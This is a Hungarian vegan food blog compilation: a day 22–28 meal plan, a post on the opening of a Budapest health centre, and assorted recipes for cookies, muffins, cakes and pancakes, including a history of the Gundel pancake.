HETI MENÜ 22-28. NAP: Ezeket az ételeket minden nap hérheted a budai Édeni Vegán Étteremben is! www.edenivegan.hu 22. NAP Reggeli: készíts édesburgonyás tofurántottát , amihez fogyaszthatsz pirítóst teljes kiőrlésű kenyérből, esetleg avokádó szeleteket is. Ebéd: tésztasaláta Teljes kiőrlésű tésztából készítsd, és a méz helyett agave szirupot használj! Vacsora: paradicsomos vöröslencse dhal esetleg teljes kiőrlésű barna pirítóssal 23. NAP Reggeli: müzlialap (gabonapelyhek, magok, diófélék), leöntve valamilyen (adalékmentes!) növényi tejjel, banánkarikákkal. Ihatsz hozzá frissen facsart narancslevet is, ha kívánod! Ebéd: szendvics teljes kiőrlésű kenyérből, valamelyik korábbi variáció tetszés szerint, vagy kreálhatsz egyénileg is!:-) Vacsora : kölespolenta vegyes zöldségraguval (az eredeti receptből hagyd ki egyszerűen a sütőtököt, ha már nem tudod beszerezni!) Vacsorára magában fogyaszd, kenyér nélkül! 24. NAP Reggeli : egy nagy adag friss gyümölcs saláta , tetszőleges gyümölcsökből, kis őrölt fahéjjal, mazsolával megszórva Ebéd: egy nagy adag zöld leveles vegyes saláta tetszőleges összetevőkből, ehetsz hozzá teljes kiőrlésű pirítóst Vacsora: indiai kukoricaleves 25. NAP: Reggeli: ismét egy jó nagy adag gyümölcs saláta , amibe tehetsz most akár fagyasztott és felolvasztott bogyós gyümölcsöket, amiknek nagy az antioxidáns tartalma! Megszórhatod kis mandulával is! Ebéd: teljes kiőrlésű szendvics Kend meg a kenyeret kis vegán majonézzel (pl. kölesmajonéz), tegyél rá leveles salátát, uborkát, paradicsomot, és néhány friss bazsalikomlevelet! Fogyaszthatsz hozzá friss sárgarépa/ zellerszár hasábokat is! Vacsora: sütőtökös cukkini spagetti curryvel 26. NAP Reggeli: natúr szójajoghurt dióval, 1 ek. őrölt lenmaggal, és egy közepes banán felkarikázva, fél bögre fagyasztott bogyós erdei gyümölcs. Ebéd: paradicsomos, vagy vegán (sajtmentes!) pesztós tészta megszórva 1-2 ek. élesztőpehellyel, és ehetsz hozzá egy nagy tál zöld leveles salátát is, ha kívánod! (tipp: kész vegán pesztó kapható a DM-ben is, nem olcsó, 800 Ft körül egy kis üveg, viszont sokáig kitart) Vacsora: nyers hamburger , vagy Gréta vegán burgerje 27. NAP Reggeli: teljes kiőrlésű gofri Ebéd: bazsalikomos-paradicsomos fehér bab Vacsora: nagy adag zöld leveles saláta valamilyen babfélével, diófélékkel és különféle nyers zöldségekkel. 28. NAP Reggeli: vegán bundás kenyér Ebéd: egy bögre teljes kiőrlésű tészta , 1/4 bögre fehér bab, paradicsomkarikák, 1 ek. olívaolaj, kis citromlé, friss bazsalikomlevelek felaprítva, 2 gerezd fokhagyma összepréselve az öntetbe. DESSZERT: CSOKIIIII!:)) VEGÁN BOUNTY SZELET Recept: Elkészítési idő: kb. 30 perc + 15 perc hűtés Hozzávalók (10 db kis csokihoz): 300 g kókuszreszelék 60 g agave szirup 1 csipet tengeri só 90 g kókusztej-zsír, 1 bio konzerv kókusztej tetejéről (csak a bio minőségnek a tetején szilárdul meg ált. a kókusztej-zsír, mert egyébként adalékok hozzáadásával tartják folyékonyan) A csokimázhoz: 120 g kakaóvaj 120 g fehér mandulakrém 60 g kakaópor 60 g agave szirup 1 csipet tengeri só 2 késhegynyi őrölt vanília Aprítsuk közepesen finomra a kókuszreszeléket egy konyhai aprítógép segítségével. Adjuk hozzá a többi összetevőt, és egy villával keverjük jól össze. Kézzel formázzunk 10 db hosszúkás, a Bounty csokira hasonlító rudacskát. Tegyük rá egy sütőpapírral kibélelt tányérra, és toljuk 10 percre a fagyasztóba. A csokimázhoz olvasszuk fel a kakaóvajat vízgőz fölött. Vegyük le a tűzhelyről, és egy kézi habverővel keverjük hozzá a csokimáz többi összetevőjét. Vegyük ki a kókuszos rudacskákat a fagyasztóból, és tegyük rá őket egy sütőrácsra. Helyezzünk a sütőrács alá egy sütőpapírt. Osszuk el a csokimázat a rudacskákon, és egy kanál hátsó oldalával, vagy ecsettel egyenletesen kenjük rá a csokit. A kanál hátsó oldalával akár kis hullámos mintát is nyomkodhatunk a csokimázba, hogy még Bountysabb legyen a végeredmény:) Ismét tegyük fagyasztóba 5 percre, a sütőpapíron. Utána fogyasztható, és hűtőben tárolható. Vacsora: nagy adag saláta olajmentes öntettel (citromlé, fokhagyma, só, esetleg fehér mizó krém), esetleg barna pirítóssal
Bijó egészség- és harmóniaközpont
2014. április 2. Zizi kalandjai
Néhány hete Krisztivel egy megnyitón jártunk… a Bijó egészség- és harmóniaközpont megnyitóján, amely két szinten, összesen 6000 négyzetméteren várja az egészségtudatos látogatókat. A komplexum egyedülálló módon, egy helyen kínál megoldást a test, a lélek és szellem problémáira. A legalsó szinten található egy hatalmas bio-, gyógy- és reformtermék nagykereskedés, ahol közel 17 ezer árucikke érhető el. Ezenkívül az utcáról betoppanókat is kiszolgálják a kiskereskedésben, ahol kb. 5 ezer árucikk érhető el, de ha szükségünk lenne egy olyan termékre, amely nincs közöttük, akkor igény szerint azonnal áthozzák a nagykereskedésből.
Az emeleten kapott helyet az energia öngyógyító központ, ahol természetgyógyászok különféle kezelésekkel (biorezonancia, akupresszúra, Bach virág terápia, fitoterápia, csendfürdőt!!! – talán erre van a legnagyobb szükségünk mai rohanó, hangos világunkban -, stb.) várja a vendégeket. Mindezek mellett 6 teremből álló konferenciaközpont, egy hatalmas jóga- és táncterem valamint teaház is megtalálható a komplexumban.
Az új központ arca Pokorny Lia színésznő lett, aki elsőként próbálta ki a ház kezeléseit.
Szuper dolog még, hogy hamarosan indul webáruházuk, így az egész ország területén elérhetőek lesznek a termékek és kisebb városokban sem okoz gondot a kókuszzsír vagy a gesztenyeliszt beszerzése! Áprilisban pedig Debrecenben, majd azt követően Nyíregyházán, Miskolcon, Szegeden, Pécsett és Győrben is nyílik ilyen központ.
Bijó egészség- és harmóniaközpont
1135 Budapest
Róbert Károly Körút 96-98.
Növényi sajttal töltött krumplis "pogácsa"
2014. április 1. Mindennapi ételeink
Hozzávalók: 4 közepes krumpli 1 ek. kókuszolaj 2 ek. lenmagpehely 2 ek. víz 2 ek. durumliszt 4 ek. finomliszt 3 ek. búzakorpa 3 tk. himalaya só 1 nagyobb fej vöröshagyma 1 csokor petrezselyem -- 2-3 ek. olaj a sütéshez Elkészítés: A krumplit megmossuk és héjában megfőzzük. Leöntjük a levét. Amikor kihűlt, meghámozzuk, összetörjük és hozzákeverjük a liszteket, búzakorpát, ételízesítőt, kókuszolajat, sót, és az előzőleg beáztatott lenmagpelyhet. A petrezselymet felaprítjuk, a hagymát felkockázást követően megpároljuk 2.ek.vízen. Ezeket is hozzáadjuk. Alaposan összedolgozzuk, majd lisztezett deszkán kinyújtjuk (kb. 0,5 cm vastagságúra), és közepes pogácsaszaggatóval kiszaggatjuk. Szükség esetén még lisztet adunk hozzá. Egy tepsit kiolajozunk, ebbe beletesszük a pogácsákat, majd 15 percig az egyik felüket, 15 percig megforgatva a másik felüket is barnára sütjük.
Vegán mandulás földimogyorós keksz
2014. március 26. Zizi kalandjai
Na ez az a keksz, amit először odaégettem… mert elszoktam a sütéstől. Remélem sikerül visszarázódnom – ami a sütést illeti -, ráadásul el kell kezdenem Ádi első születésnapi tortájának a tesztelését. A napján egy palacsinta tortát fogok készíteni, aztán a partin, ami néhány nappal később lesz (családokkal, barátokkal együtt ünnepelve) sütni fogok tortát is. Szeretnék teljesen cukormenteset készíteni, ami csak banánnal lesz édesítve, de majd meglátom… lehet, hogy egy kis juharszirupot fog kapni a torta.
Szóval az odaégetésnek köszönhetően második alkalommal kicsit változtattam a recepten, így más lett a tésztának az állaga és a kekszek formája is. Édesítésre az új kedvencemet, a kókuszvirág cukrot használtam. A tojást őrölt lenmaggal és vízzel helyettesítettem. Zablisztet és mandulalisztet adtam hozzá, de ezek változtathatók. Őrölt mandula helyett lehet használni őrölt törökmogyorót, a zab helyett pedig lehet tönkölylisztet használni vagy sima búzalisztet. A földimogyoró és mandula jól kiegészítik egymást, azonban a földimogyorónak dominánsabb az íze. Egy dolgot csinálnék legközelebb másképp… a megsült, kihűlt kekszeket, legalábbis a felüket olvasztott étcsokoládéba mártogatnám. Az étcsokis máz nagyon feldobná ezeket a kekszeket. Tízóraira, uzsonnára, nasinak kávé vagy tea mellé kiváló. Mérettől függően 12-16 darab lesz belőle.
Vegán mandulás földimogyorós keksz
Hozzávalók kb. 12 db-hoz:
- 1/4 bögre földimogyoróvaj (házilag készített vagy boltban kapható)
- 1/4 bögre kókuszzsír (szilárd állapotban)
- 1/2 bögre kókuszvirág cukor
- 1/4 bögre mandulatej (zab-, rizs-, szójatej is használható)
- 1 és 1/4 bögre zabliszt
- 1 bögre őrölt mandula
- 1 evőkanál őrölt lenmag
- 3 evőkanál víz
- 1 teáskanál sütőpor
- 1/2 teáskanál szódabikarbóna
- 1/4 teáskanál Himalaya só + egy kevés a szóráshoz
- 1 vaníliarúd kikapart magjai
Egy kis tálkában keverjük össze a lenmagot a vízzel és hagyjuk állni 4-5 percig, amíg zselés állagú lesz. Melegítsük elő a sütőt 170C fokra.
Egy tálban keverjük össze a földimogyoróvajat a kókuszzsírral és a cukorral. Adjuk hozzá a mandulatejet, majd a lenmagos keveréket és keverjük simára. Ekkor adjuk hozzá a sót, a vaníliát, a sütőport, a szódabikarbónát, majd a végén a zablisztet és a mandulalisztet. Keverjük simára (közepesen lágy tésztát kapunk).
Fagyis- vagy evőkanállal adagoljunk gombócokat a sütőpapírra. Tetejüket szórjuk meg egy kevés sóval és süssük 15-20 percig, amíg aranybarnák lesznek.
Zöldségragu - Vegyes zöldség sütőben
2014. március 25. Éltető ételek
Nagyon szeretem az egyszerű ételeket, csak tisztítok, darabolok és mehet a sütőbe. Ennek az ételnek az igazi szezonja nyáron lesz, amikor bőven van cukkini és padlizsán. Ez valójában egy görög hagyományos étel "Brian", nemhiába, tudnak ők is finomat főzni. Az étel készítésénél fontos, hogy teljesen főjön el a leve, jó zaftos legyen. A hozzávalóknál pontos mennyiséget nem írok, improvizáljunk. Ennél nem szoktam mérni a mennyiséget. Elrontani nem lehet. Hozzávalók: - burgonya - cukkini - padlizsán (ebből lehet egy kicsit kevesebb) - hagyma - fokhagyma - paradicsom(lé) Elkészítés: A zöldségeket vastag szeletekre (karikára) vágjuk fel és tegyük egy tepsibe.A turmixolt paradicsomokat vagy a levet ráöntjük, sózzuk, borsozzuk, hozzátesszük az apróra vágott hagymát és fokhagymát. Ha paradicsomot teszünk hozzá, akkor öntsünk alá egy kevés vizet.Leöntjük az egészet bőven olívaolajjal vagy kókuszolajjal. Jól összekeverjük. Kb. 180 fokos sütőben addig sütjük amíg a zöldségek megpirulnak és az étel elfövi a levét. Feta sajttal tálaljuk.
Datolyakaramellás kesuszelet
Ez a süti kérem teljes áttörés! Az évek óta gyümölcsöt nem fogyasztó fiam csak úgy kapkodta a tányérról (mondjuk nem kötöttem az orrára, mi van benne...:DDD). Isteni finom valóban! Bárkivel kóstoltattam, teljesen oda volt érte! Nagyon egyszerű elkészíteni, és mivel csak egy-két szeletkével is eltelhet az ember, ezért a megmaradt szeleteket másnap uzsonnára is fogyaszthatod. Akár 5-6 napig is eláll hűtőben, és a készítés másnapján még finomabb!:) Datolyakaramellás kesuszelet Elkészítési idő: kb. 30 perc + 30 perc hűtés Hozzávalók (25 kis kockához): A kesualaphoz 200 g kesudió 1/2 tk. őrölt vanília 1 csipet só 30 g agave, vagy rizsszirup A datolyakaramellhez 220 g datolya magozva (a Kalifa zacskós datolyája tartósító és édesítés nélküli!) 1 tk. őrölt vanília 1 csipet só A csokimázhoz 30 g kakaóvaj (nálam kókuszolaj) 20 g fehér mandulakrém 1/4 tk. őrölt vanília 8 ka kakaó, vagy karob 20 g agave, vagy rizsszirup 1/2 csipet só A tetejére puffasztott amaránt, vagy rizs díszítésnek Az alaphoz ledaráljuk a kesudiót, vagy erős aprítógépben finomra aprítjuk a vaníliával és a sóval. Beletesszük egy tálba, elkeverjük a sziruppal és összegyúrjuk kézzel. A datolyakaramellhez a datolyát összepürésítjük egy aprítógépben, esetleg 2-3 ek. vizet hozzáadva, hogy krémesebb legyen. A mázhoz vízgőz fölött felolvasztjuk a kakaóvajat/ kókuszolajat. Egy tálban összekeverjük a mandulakrémet, a vaníliát, a kakaót, a szirupot és a sót. Hozzáadjuk a felolvasztott kókuszolajat. és egy kézi habverővel az egészet jól elkeverjük. Egy sütőpaírral bélelt tepsire öntjük az alap-masszát, ráteszünk egy másik sütőpapírt és sodrófával kb. 0,5 cm vastagra nyújtjuk. Kézzel szögletesre formázzuk az alapot, levesszük a felső sütőpapírt, arra rátesszük a datolyakaramellt és leöntjük a csokimázzal. Díszítjük puffasztott amaránttal, vagy puffasztott rizzsel és 30 percre betesszük a fagyasztóba, vagy 45 percre a hűtőbe. 3 x 3 cm-es kockákra vágjuk. Forrás: Attila Hildmann: Vegan for Youth
Vegán kókuszos répa muffin
2014. március 16. Zizi kalandjai
Ádi első szilárd étele a répa volt. Ezt ette két héten keresztül és igen szerette. Mivel minden héten vásárolunk a piacon továbbra is répát, hogy biztos legyen itthon, néhány hete már nagyon fel volt halmozódva, mert nyilván Ádi és mi se ettük a répát répával. Így gyorsan felhasználtam a régi darabokat, hogy legyen a frissnek hely. Készült belőle frissen facsart répalé, amelyet céklával és almával turbóztunk fel és még Ádinak is ízlett nagyon. És végre sütöttem, ezeket a répás muffinokat. Kókusztejjel és kókuszvirág cukorral dobtam fel, pikk-pakk összedobható és gyorsan meg is sül.
A kókuszvirág cukor a kókuszpálma virágjának nektárjából készült cukorkülönlegesség. Íze számomra karamellás, nagyon finom magában is. Alacsony a fruktóz tartalma, kb. 1-2% és alacsony a glikémiás indexe is, ami 35. A legtöbb kókuszpálma ültetvény Indonéziában és a Fülöp-szigeteken található, ezeknek egy részén bio gazdálkodás folyik. Nagyon sok vitamin és ásványi anyag található benne; a legtöbb cukorral, édesítőszerrel ellentétben a kókuszvirág cukor nem csak sima szénhidrát. Nagy mennyiségben található benne C-vitamin, kálcium, foszfor, kálium, vas, cink, magnézium, mangán és réz. Nem keverendő össze a pálmacukorral, mely bizonyos pálmák fájának és nem az értékes virágnak a nedvéből készülnek.
Apropó sütés… ugye, amikor a gyorsaságon van a hangsúly, akkor általában csak a főzésre koncentrálok, a sütés egyelőre luxusszámba megy. Most már tudok valamennyire előkészülni Ádi mellett, de egy teljes folyamatot nem tudok végigvinni, mindig kell szünetet tartanom. Szóval elszoktam a sütéstől és erre a legjobb bizonyíték, hogy tegnap délután összeállítottam egy vegán mandulás földimogyorókeksz tésztát, aztán este fektetés után beraktam a sütőbe. Úgy érzékeltem, hogy kb. 20 perce lehettek bent (ez nekem nem tűnt soknak, úgy emlékeztem, hogy korábban is 15-20 percig sütöttem kekszeket 170-180 fokon), amikor éreztem az illatot… nagyon sült illatot. Kiveszem a sütőből és feketére voltak égve. Kuka! Sajnáltam, mert nagyon kívántam már, hogy végre valami általam sütött nasit egyek este, amikor nincs energiám semmire, csak kidőlök a kanapén és Szex és New York jeleneteket nézek YouTube-on (az egyik kedvencem). Maradt a csoki kocka, de jövő héten újra megsütöm és hozom a receptet nektek!
Vegán kókuszos répa muffin
Hozzávalók 12 db-hoz:
- 1 bögre zabliszt
- 3/4 bögre tönköly fehérliszt
- 1 és 1/2 bögre reszelt répa
- 1 evőkanál őrölt lenmag
- 3 evőkanál víz
- 1/4 bögre kókuszvirág cukor
- 1/3 bögre almaszósz
- 1/4 bögre kókuszolaj (olvasztott, folyékony állapotban)
- 1 teáskanál sütőpor
- 1/2 teáskanál szódabikarbóna
- 1/2 teáskanál só
- 1-2 teáskanál fahéj (ízlés szerint)
- 1/2 bögre kókusztej (mandula-, rizs-, zab és szójatej is használható)
- 1 vaníliarúd kikapart magjai
(A recepthez használt bögre 250 ml-es.)
Egy tálkában keverjük össze a lenmagot a vízzel és hagyjuk állni néhány percig, amíg kocsonyás állagú lesz. Melegítsük elő a sütőt 175 fokra. Béleljük ki a muffintepsit papírkapszlikkal.
Egy tálban keverjük össze a száraz hozzávalókat: lisztek, sütőpor, szódabikarbóna, só, fahéj. Egy másik tálban keverjük össze a nedves hozzávalókat: almaszósz, kókusztej, kókuszolaj, kókuszvirág cukor, lenmag keverék, majd jöhet a reszelt répa. A nedves hozzávalókat öntsük a szárazhoz és jól keverjük el.
Kanállal osszuk el a tésztát egyenlő részben a muffinformákban. Süssük 175 fokon kb. 25-30 percig, amíg aranybarnák lesznek. Kivétel előtt azért végezzünk tűpróbát, hogy jól átsültek-e a muffinok.
Tipp: a liszteket tekintve lehet variálni. Zabliszt helyett lehet köleslisztet vagy akár hajdinalisztet használni; a tönköly fehérliszt helyett pedig simalisztet vagy teljeskiörlésű lisztet. Az almaszószhoz az almát meghámoztam, kimagoztam és egyszerű baba almareszelőn pépesítettem. Ha nincs ilyen reszelőnk, akkor kiválthatjuk egyszerű DM-ben, Rossmannban kapható bio bébi almapürével.
Fotóbomba… egy Ádi kéz betámad
Diós - banános hajdinamuffin
Nincs mit szépíteni, ez a süti 100% hajdinaliszttel (úgy lesz gluténmentes!) nem volt egy világszám (én sehogy sem tudom megszokni a hajdina jellegzetes mellék-/ utóízét:/) Miután azonban a megadott liszt menyiségét lecseréltem félig teljes kiőrlésű tönkölylisztre, mmmmm...:) Egy cukormentes, alig édes reggeli, vagy uzsonna-süti, ami viszont egy jó kis gabonakávés-szójatejes cappuccinoval üdítően hat!;) És gyorsan elkészül, akár vasárnap reggel is!:) Diós - banános hajdinamuffin Elkészítési idő: kb. 25 perc Hozzávalók (9 db muffinhoz): 2 banán (kb. 200 g meghámozva), felaprítva 50 g dió, durvára vágva 200 g hajdinaliszt, de nálam ez volt fele teljes kiőrlésű tönkölyliszt! tengeri só 1 tk. őrölt fahéj 170 ml zabtej (ha tönkölyliszttel készíted, az több folyadékot vesz fel kicsivel!) 50 g (kókusz)olaj 55 g rizsszirup/ agave szirup 2 tk. foszfátmentes borkő sütőpor (pl. DM-ben is kapható!) Melegítsük elő a sütőt 180 fokra, légkeverésre. Egy nagy tálban keverjük össze a hozzávalókat, utoljára adjuk hozzá a banánt és a diót. Papírkapszlikkal kibélelt muffinformába kanalazzuk a tésztát, és a sütő középső sínjén kb. 15-17 percig sütjük. Fogpiszkálóval a közepébe szúrva ellenőrizzük, kisült-e. Fogyasztás előtt hagyjuk kicist kihűlni. Forrás: Attila Hildmann: Vegan for Youth
Brokkolis tésztasaláta
Amikor eleinte mindenre elkezdték ráírni, hogy teljeskiőrlésű - és közben lézengtek a tésztában a korpadarabok - nagyon fel tudott bosszantani a dolog. Azóta megembereltem magam, és 10 esetből már csak egyszer-kétszer jegyzem meg a boltban, hogy nem láttak ezek még teljes búzaszemből őrölt lisztet... Legfőképpen azért is zavar a dolog, mert messziről látom, ha valahol mellébeszélnek ez ügyben, de egy átlag vásárló azt hiszi, hogy most végre egészségeset tesz a kosarába. Persze még így is jobb a helyzet, mert legalább nem teljesen fehér terméket fogyaszt, de akkor is hazugságon alapul. A Barilla vollkorn tésztáinál is ugyanezek a gondolatok merültek fel bennem, azért ez a monológ. Tészta salátának viszont tökéletes, nem fő szét, ízletes, Férj is megeszi, bármi maradékot bele lehet tenni, ami van otthon. Hozzávalók: 1/2 kg tk tészta 1 fej brokkoli 10 dkg fűszeres tofu / feta sajt 1 db kápia paprika 4 db paradicsom 1 kis fej lilahagyma 1/2 kígyóuborka 1/2 fej jégsaláta napraforgó mag só tökmagolaj kókuszzsír A tésztát az előírt módon megfőzzük. A brokkolit rózsáira szedve a sütőben 15-20 perc alatt tepsiben kevés kókuszzsíron megsütjük. A tofut kis kockákra vágjuk. Ha feta sajtot használunk (nálunk a Férj azzal felturbózva ette meg) csak a végén keverjük bele óvatosan, különben szétmállik a salátában. A paprikát, paradicsomot, uborkát, lila hagymát kis kockákra vágjuk, a jégsaláta leveleit apróra tépkedjük. Amikor kész, a tofuval és a brokkolival együtt a tésztához kavarjuk, rászórhatunk némi pirított napraforgó magot is, majd a végén meglocsoljuk valamilyen hidegen sajtolt olajjal.
Csokis-mogyorós torta percek alatt (vegán)
Ez a csokis-mogyorós torta hihetetlenül gyorsan elkészíthető. Mikróban 5 perc alatt megsül a tésztája, amit 1-2 perc alatt össze lehet állítani. A krémje mindenféle főzés nélkül szintén legfeljebb 10 perc alatt összeturmixolható (én aprítógéppel készítettem, de botturmix segítségével is lehet). Már csak egy kevés mogyorót kell hozzá darálni (aprító vagy kávédaráló alkalmas hozzá). Végül pedig a tortát széltében kettévágni, megkenni, díszíteni és kész is a gyors tortácska kevesebb, mint fél óra alatt.
A csokikrém receptje:
Hozzávalók:
- 1,5-2 db érett nagy avokádó
- 5 dkg kakaópor (kevesebb karobbal is készíthető!)
- 5 dkg kókuszolaj
- 10 dkg édesítőszer, pl: nádcukor, nyírfacukor, méz, stb, ki mit használ
- 1 csipet tengeri só
- 1/2 vanília kikapart belseje vagy 1 teáskanál vanília esszencia
Elkészítés:
Vegyük elő a turmixgépet és a fentieket mindet, ebben a sorrendben tegyük bele. Indítsuk el, és hamarosan látni fogjuk hogy milyen fantasztikus krémet kapunk végeredményne k. Olyan krémet, mint a csokitorták csokikrémje. Ha lágyabb krémet szeretnénk, pár csepp vízzel vagy növényi tejjel krémesebb lesz. A kész krémet kb. 1/2 órára érdemes hűtőbe tenni, megdermedés után jobban használható. Amíg dermed a krém, van időnk elkészíteni a torta tésztáját mikróban az alapján, ahogy az előző receptemben leírtam.
Biztonság kedvéért ide is bemásolom:
A torta receptje:
Hozzávalók:
7 evőkanál liszt
3 evőkanál teljes kiőrlésű liszt
3 evőkanál nyírfacukor
14 evőkanál növényi tej (én növényi tejporból készítettem)
2 evőkanál étolaj
1/2 teáskanál szódabikarbóna
1 műanyag tál (nálam ételhordó doboza volt)
Elkészítés:
Választunk egy hőálló műanyag edényt, amiben sütni fogjuk a piskótánkat. Én egy kerek ételhordó dobozt választottam. Összekeverjük benne először a száraz hozzávalókat, majd hozzákanalazzuk a növényi tejet és étolajat. Jól összekeverjük az egészet, majd mehet is a mikróba. Legnagyobb fokozaton 5 perc alatt elkészül a piskóta. Nem kell lefedni mikrózáshoz a tésztát, had "szellőzzön". Gyengébb mikróknál elképzelhető, hogy 5 és fél - 6 perc szükséges.
Összeállítás:
Hozzávalók:
- Az elkészített csokikrém
- A megsütött torta
- Darált mogyoró (kb. 10-15 dkg)
A megsült tortát egy nagy késsel széltében kettévágjuk. A csokikrém egy részét az alsó tortakarikára kenjük, majd megszórjuk darált mogyoróval és ráhelyezzük a torta felső részét. A felső részt és a torta oldalát is megkenjük a csokikrémmel, megszórjuk darált mogyoróval oldalt is, majd ízlés és lehetőség szerint még díszítjük. Gyorsan kész kellett, hogy legyen, így egyszerűen csak egész mogyorószemekkel díszítettem. Finom lett, gyorsan el is fogyott.
Palacsinta Torta: Tej,-tojás,-cukormentes
Mindenki kedvence a palacsinta. Simán, feltekerve, csőben sütve, rakva, tortának…
Ez a recept fúzionálja az összes édes palacsinta receptem, ajánlom desszertként:
Palacsinta tésztát többfélét elkészíthetünk, de én most egy alap receptet írok le, amelyből 10-12 darab palacsinta lesz, éppen elegendő egy torta elkészítéséhez.
Hozzávalók:
500 g világos tönköly liszt
késhegynyi szódabikarbóna
1 l víz
kókusz olaj a sütéshez
Az összetevőket összekeverjük és a palacsintákat egy tapadásmentes edényben egyenként kisütjük.
Töltelékek:
1. Citromos ” túrókrém” tejmentes, cukormentes: Elkészítése: Katt!
2. Diókrém: Hozzávalók:
100 g darált dió
50 g darált xilit
1/2 citrom leve
3 evőkanál kókusz tejszín
1 evőkanál sárgabarack lekvár
Az alapanyagokat összekeverjük, lassú tűzön forrásig kissé megfőzzük, állandó kevergetés mellett.
3. Mákkrém: Hozzávalók:
100 g darált mák
50 g darált xilit
1 evőkanál sárgabarack lekvár
1/2 bio citrom reszelt héja
Az összetevőket összekeverjük és lassú tűzön forrásig, kevergetve kissé megfőzzük.
4. Sárgabarack lekvár xilittel
Étcsoki bevonat:
Magas kakaótartalmú kakaópor 4-5 evőkanál
1 evőkanál porrá darált xilit
4 evőkanál kókusz olaj
Vízgőz felett az összetevőket összekeverjük.
Egy 32 cm-es tortaformában elkezdjük lerakni a palacsinta tortát. A rétegeket tetszőleges sorrendben megkenjük a krémekkel és addig folytatjuk amíg a hozzávalók elfogynak. A tetejét bevonjuk a csokival és egy éjszakára vagy 4-5 óra hosszára a hűtőbe tesszük. Majd lekapcsoljuk a torta pántot és tálalhatjuk a tortát. A tetejét még a bevonás után megszórtam darált mogyoróval.
Jó étvágyat:)!
Mazsolás zabkeksz
2014. március 3. Éltető ételek
Nagyon szeretem a kekszeket, hétvégén gyakran sütők. Így a következő hétre lesz mit csomagolni a gyerekeknek uzsonnára. A osztálytársaknak is nagyon ízlik, sokszor a gyermekeim éhesen jönnek haza. Hozzávalók: - 20 dkg puha vaj - 15 dkg kókuszvirág cukor vagy méz - 1 tojás - 10 dkg zabliszt - 10 dkg teljes kiőrlésű tönkölyliszt - 20 dkg apró szemű zabpehely - 10 dkg mazsola vagy áfonya (de került már bele aszalt sárgabarack is) - 1/2 csoki apró darabokra vágva - 1 tk. szódabikarbóna - 1 mk. vanília, fahéj - csipet só - A tojást habosra keverjük a mézzel vagy a cukorral, majd hozzádolgozzuk a puha vajat. - Hozzáadjuk a többi hozzávalót is. - A tepsibe teszünk egy zsírpapírt, majd a masszából kis gombócokat formálunk, amit villával lelapítunk. - Előmelegített sütőbe, 180 fokon megsütjük. - Várjuk meg, hogy a tepsiben kihüljön, szépen összeáll.A tetejére készíthetünk egy csokimázat, ami isteni ízt ad neki. - olvasztott csoki - narancsolaj A csokit gőz felett felolvasztjuk, majd hozzátesszük a narancsolajat. Rácsorgatjuk a kekszekre, és hagyjuk kihűlni. Pár óra alatt szépen megkeményedik a csoki rajta.
Gundel palacsinta vegán módra
Ahogy a Bloggerek közötti játékról szóló bejegyzésemben említettem, gyerekkoromban vasárnaponként nagyon sok palacsintát sütöttünk. Egyik nagy kedvencem a Gundel palacsinta volt, dióval töltve, csokival leöntve. Ugyan Gundel a neve, de igazából megalkotója nem is a híres-neves Gundel Károly. A Gundel-palacsinta bizony Márai Sándor felesége Matzner Lola eredeti alkotása. Az első palacsinta így született meg: Egy Márai-darab premierjét ünnepelték a Gundel étteremben. Erre a fogadásra készítette Lola az otthon elsajátított receptet némi újítással, ugyanis a darált dióval töltött palacsintába mazsolát és cukrozott narancshéjat is kevert, majd csokoládéval leöntötte. Nem csak a bankett résztvevőinek ízlett az így készült palacsinta, hanem az étterem tulajdonosa, Gundel Károly is megkedvelte annyira, hogy "Márai-palacsinta" néven étlapjára felvette. A Gundel-éttermet 1949-ben államosították, ezt megelőzően pedig a Márai házaspár 1948 nyarának végén elhagyta az országot. Svájcba, majd Olaszországba emigráltak, végül 1952-ben New Yorkban telepedtek le. Egy államosított étterem étlapján nem szerepelhetett akkoriban olyan név, aki hazánkból emigrált (azt már nem is említve, hogy Lola eredetileg zsidó származású volt és házasságuk után több, mint tíz évvel, 1936-ban keresztelkedett át katolikus hitre). Mivel a név emlegetése sem volt szerencsés akkoriban, a palacsinta az étterem után kapta a Gundel palacsinta nevet.
A recept:
Hozzávalók:
- 10 dkg teljes kiőrlésű liszt
- 17 dkg fehér liszt
- 1/2 l víz (lehet, hogy többet vesz fel)
- 1 csipet só
- 5 dkg lenmag (őrölve)
- 5 dkg zabpehely (őrölve)
- darált dió
- reszelt narancs- vagy citromhéj
- nyírfacukor/xilit/gyümölcscukor/nádcukor, stb. ki mivel édesít
- mazsola (én elhagytam)
Máz:
- karob vagy kakaópor
- nyírfacukor/xilit/gyümölcscukor/nádcukor, stb. ki mivel édesít
- kókuszzsír
- víz
Elkészítés:
A száraz hozzávalókat összekeverjük egy tálban, majd folyamatos keverés közben hozzáöntjük a vizet. A zabpehely és lenmag segíti a tésztát abban, amiben máskülönben a tojás. Amikor összekeverjük, elvileg palacsintaszerű tésztát kell kapjunk. Ha túl sűrű, vízzel hígíthatjuk. Ha túl folyós, keverjünk hozzá még egy kevés lisztet.
A palacsinta sütőnket - remélhetőleg teflon bevonatú edény - felmelegítjük. A legelső sütéshez a biztonság kedvéért cseppentettem két csepp olajat, vagy tehetünk bele icipici kókuszzsírt. A továbbiakhoz egyáltalán nem használtam semmilyen olajat vagy zsírt. De ehhez szükséges, hogy teflon bevonatú sütővel dolgozzunk.
Miután kisültek a palacsinták, megtöltjük őket. Ez az alábbiak szerint történt nálam:
A diót a nyírfacukorral együtt aprítógépbe tettem és összedaráltam. Egy fél citrom héját (megmosás után) belereszeltem. Ezzel a töltelékkel töltöttem a palacsintákat.
A csokis mázhoz megolvasztottam a kókuszzsírt, rászórtam a karobot (csokifüggők úgyis kakaóporral készítik), adtam hozzá kevés nyírfacukrot, néhány kanál vizet és míg fel nem forrt az egész, kevergettem. Az elkészített, megtöltött palacsintákat tányérra szervírozzuk és ráöntjük a "csokiszószt". (Csokit is olvaszthatunk egy kevés olajjal és vízzel kikeverve- így is készíthető rá öntet.) Laktató, finom és nehéz ellenállni neki.
Vegalife a négyzeten :)
Tudtátok, hogy nem vagyok egyedül a nevemmel? Nekem már feltűnt, mikor gugli jó barátomnál keresgéltem, hogy van egy "blogmentes" Vegalife is. Ez pedig nem más, mint egy vegetáriánus ételeket házhoz-szállító vállalkozás, a http://vegalife.hu/. Úgy hozta a sors, na meg a jó Isten, hogy mi ketten, egy teljesen véletlen folytán, fizikailag is egymásra találtunk. Kaptam, s kapok kóstolót ételkínálatukból, amikről nektek is tartok egy kis képes beszámolót, leírom, hogy a kóstolt ételek milyen "ízhatással" voltak rám.
